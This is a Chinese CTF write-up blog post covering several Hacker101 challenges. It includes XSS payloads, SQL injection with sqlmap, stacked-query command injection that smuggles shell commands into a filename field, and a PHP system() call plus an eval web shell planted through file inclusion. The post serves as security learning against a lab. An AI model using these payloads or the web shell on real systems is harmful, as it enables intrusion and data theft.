Hacker101 CTF 学习记录(一)

前言

苦力挖洞,靠运气赚点小钱。看着大佬严重,高危,再看看自己手上的低危,无危害默默流下了菜鸡的泪水

思路受局限,之前听学长推荐和同事聊到hacker101,因此通过hacker101拓展下漏洞利用思路

https://ctf.hacker101.com/ctf?congrats=many

Trivial-A little something to get you started

非常简单的一道题

右键源码

访问background.png,获取flag

这类挖掘思路hint如下

Easy-Micro-CMS v1

这道题有4个flag

首先访问下,有3个链接,2个修改文章,一个添加文章

先看Testing

点击edit page进入编辑页面,输入xss脚本,我一般喜欢用<img>标签,刚好这个地方<script>标签被过滤了

保存,右键源码,可以发现该页面因为文本的xss生效产生一个flag,但是title的被转义了

回到home页面,在home页面中title也进行了回显,但是没有被转义,因此此次的xss获得第二个flag

点击创建,随意创建一篇文章,发现它是page10

最先2个示例是page1和page2,那么2~9之间是什么呢,通过burp枚举一下

发现page7返回是403,其他是404

但是403是明显无法访问的,还可访问的请求是编辑,因此访问/xxxx/page/edit/7

拿到第三个flag,最后一个flag我冥思苦想,甚至以为是markdown的xss,markdown的xss利用如下![截屏2020-09-02 下午8.45.50](/Users/mi0/Library/Application Support/typora-user-images/截屏2020-09-02 下午8.45.50.png)

但是script被替换掉了,因此可以将JavaScript进行html编码

点击触发JavaScript协议

但是但是,这没有flag,整个环境把我局限于个xss的漏洞利用中,无奈最后google了一波,发现最后一个flag是sql注入

edit后面跟的路径可能是带入数据库的参数,因此可能存在sql注入

这类挖掘思路hint如下

Moderate-Micro-CMS v2

打开题目,共有3个连接,但是与上一题不同的在于不登录只能看,编辑需要登录

很明显第一个flag万能密码,但是不是用or '1'='1',因为登录用户名不是admin,也猜不出来,可以构造让程序报错的sql语句,看到部分源码

那么此处的万能密码通过联合注入控制password的回值,成功登陆

成功登陆,拿到一个flag

private page

第二个flag,我看提示说注意请求方法,估计是越权了,退出登陆,在edit页面使用post请求,当然实际环境带上参数则可越权修改文章内容

第三个flag也与sql注入有关,最开始思路又偏了跑到jwt去了orz,但jwt没啥有用的信息.....

刚刚第一个flag是万能密码,第三个flag值在数据库中,直接sqlmap4brup++调用sqlmap出flag

dump-all获取flag,这里应是用的报错注入出的数据

这类挖掘思路hint如下

Hard-Encrypted Pastebin

这道题留个坑,之后回来补,涉及到aes的CRC反转,第一个flag可以通过报错获得

第一个flag是id值存在整数型sql注入

sqlmap -u "http://34.94.3.143/d5d106f5c4/fetch?id=1" --thread=10 -D level5 -T photos --dump-all

因为是盲注使用多线程跑得快,第一个flag 加上FLAGHEX$FLGA$即可

后面2个flag打死做不来,提示说看架构是uwsgi-nginx-flask-docker

最后看别人的思路,发现是通过联合查询去读源码,因为有一个参数是fliename,那么源码中坑定有读取文件的处理逻辑,因此通过联合注入让sql语句返回值是可控的filename,读取源码

拿到第二个flag,可以看到sql语句逻辑为通过id获取filename,并读取

最后一个flag是命令执行,看第53行,执行了命令 du -ch (可控)|| exit 0

可控的地方又是通过一个for循环,for循环是将数据库中的所有filename值拼接,我们通过sqlmap可以看到该表有3个字段,du -ch 后面的参数可以随意跟,那么可以控制id为3的filename值,引入||进行命令拼接

仔细看输出文件内容的语句,他只取返回结果的第一行

rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>

因此,我们命令执行去写文件,然后通过获取flag2的方法去读写入的文件

该SQL语句支持堆叠查询,因此加上;使用update修改id=3的filename值为命令执行

fetch?id=4;update photos set filename='1||ls >1.txt';commit;

然后先访问下根目录,再去读1.txt

fetch?id=4 union select '1.txt';

这个flag我也找不到,参考了下别人在env中发现了第三个flag,并且第一个和第二个也在里面

这里1.txt没法覆盖,因此重新写了新的文件

fetch?id=4;update photos set filename='1||env >2.txt';commit;

这类挖掘思路hint如下

Moderate-Cody's First Blog

扫描了目录

浏览了功能,,整理下现有的情况如下

Index.php?page= 文件包含,使用include包含,并加上.php的后缀,可用%00截断但包含不了文件。

文件包含过滤了php://因此无法使用协议,并且现在包含路径为 .,/usr/share/php,usr/share/pear

Dockerfile里面没有有价值的信息

admin.auth.inc.php为后台登录,不存在sql注入,不存在弱口令

/post 存在目录遍历,有个文件被index.php包含

Add comment 功能具体不清楚,估计是给后台管理员发送信息,但是整个系统是不出外网的,因此无法用xss平台打cookie

陷入了僵局....此时再看看目录扫描的情况,有个admin.inc.phpadmin.auth.inc.php是2个文件,太像被我忽略了,这就是别人挖得到严重,我只能挖得到低危的原因之一吧orz

直接访问admin.inc.php出错

借助文件包含,顺利获取第一个flag,并且能够看到Add comment 传过来的数据

输入<img src=x//>可以点击Approve Comment,保存结果为坏掉的图片,说明此次可能是xss的,但我输入<img src=x onerror=alert(1)//>结果被吃掉了,换成<svg>标签就执行了,但没有flag

看着这个输入,再输出,又加上前面的直接访问,sql报错,感觉这个地方是个二次注入。简单尝试无果...

注意到审核处的url,带有approve 参数,参数值为id

那么可以确定查的时候是通过id的值,并且输入',没啥异样,二次注入的念头被打消,此时此刻又厚着脸皮去看writeup了,发现可以使用http协议包含html文件

众所周知php可以包含万物,只要我们包含的html代码中有php的标签,就能执行命令。很巧的是,评论的内容我们可以控制

开始像index页面写入测试代码

<?php system('whoami'); ?>

提交就发现flag

后台帮忙审核一下

代码就过来了

再通过http包含html页面,命令执行成功

最后写shell

<?php eval($_POST['1']); ?>

index.php里面获取最后一个flag

这类挖掘思路hint如下

剩下的再分几篇文章再写

参考

https://www.cnblogs.com/smileboys/p/9837427.html

https://www.anquanke.com/post/id/180395#h2-1

posted @ 2020-09-03 11:22  sijidou  阅读(2433)  评论(0编辑  收藏  举报